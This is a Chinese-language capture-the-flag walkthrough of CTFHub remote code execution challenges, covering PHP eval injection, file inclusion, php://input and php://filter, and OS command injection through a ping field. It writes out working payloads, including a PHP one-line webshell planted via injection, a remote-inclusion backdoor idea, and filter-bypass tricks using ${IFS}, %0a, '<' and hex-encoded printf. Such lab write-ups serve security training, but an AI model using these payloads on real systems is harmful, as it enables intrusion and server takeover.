RCE(remote command/code execute)概述
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
远程系统命令执行,一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

1.eval执行

我们打开环境,他把代码给我们显示出来了,我们进行代码的审计。

发现 $_REQUEST 函数, php中$_REQUEST可以获取以POST方法和GET方法提交的数据,缺点:速度比较慢 。

我们用get方式,查看当前目录下有哪些文件,只发现了index文件

我们查看根目录下的文件,发现根目录下的 flag_12586

我们将其打开,获得flag。

2.文件包含

我们打开环境,发现shell是蓝色的,可以点击,我们点击一下,发现了代码,里面有 $_REQUEST 函数 ,说明可以使用POST方式提交。

我们审计代码,使用get方式提交file,我们试试file=shell.txt,发现可以成功执行。

我们在POST中添加数据ctfhub=system('find / -name flag*'); 发现/flag

打开获得flag

3. php://input

php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。 enctype="multipart/form-data" 的时候 php://input 是无效的。

话不多说直接使用php://input,发现flag文件。

直接打开,获得flag。

4. 远程包含

这道题正确的解法应该是在一个服务器上创建一个脚本,然后去进行访问生成一个后门,使用蚁剑或者菜刀进行连接,我的另一篇博客有写,不过也可以使用php://input来做

5. 读取源代码

我们打开环境,他说我没有shell,如何得到flag,flag在 /flag

我们要来介绍一个参数

php://filter参数详解

用法

php://filter/read=convert.base64-encode/resource=[文件名]
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

直接得到flag

6.命令注入

我们打开环境,他说无过滤,那我们随便搞。

127.0.0.1&ls,发现一个PHP文件

我们127.0.0.1&cat 182571792827626.php查看一下,然后点击查看源码,获得flag。

7.过滤cat

打开环境,说已经过滤了cat,很显然cat不能使用,我们使用more命令

127.0.0.1;more flag_66531085822440.php,查看源码得到flag

第二种方法,写入一句话木马。

127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php

木马成功写入

我们打开菜刀进行连接,得到flag。

8.过滤空格

过滤了空格。我们可以用<符号来进行代替,这样我们就好做了。

127.0.0.1;ls

127.0.0.1;cat<flag_10163656011542.php

查看源码得到flag

9.过滤目录分隔符

这次过滤了目录分割符 / ,我们可以看到flag在一个文件夹中。

我们可以使用;进行一步步的来执行命令,使用ls命令查看到flag_is_here文件夹下有文件。

我们使用127.0.0.1;cd flag_is_here;cat flag_266702971114077.php命令,成功查看到flag。

10. 过滤运算符

过滤了很多的运算符,但是没有过滤“;”

127.0.0.1;ls

127.0.0.1;cat flag_25155554622833.php

查看源码得到flag

10. 综合过滤练习

有点狠啊,这次基本都过滤了。

我们先来整理一下思路,cat可以用more替代,空格可以用more替代,运算符可以用%0a(url编码为换行)来替代。

先开始查看有哪些文件,发现flag_is_here

想查看flag_is_here,发现flag已经被过滤了。我们这时候可以用16进制编码来进行绕过

16进制转换

$(printf${IFS}%22\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65%22)

http://challenge-8b077a6304b149da.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0Als${IFS}$(printf${IFS}%22\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65%22)#

也可以使用

http://challenge-8b077a6304b149da.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0Als${IFS}f***#

将flag_8264302407059.php查看,就可以得到flag了。

http://challenge-8b077a6304b149da.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0Aca''t${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x38\x32\x36\x34\x33\x30\x32\x34\x30\x37\x30\x35\x39\x2e\x70\x68\x70")

如果你停止 就是低谷 如果你还在继续 就是上坡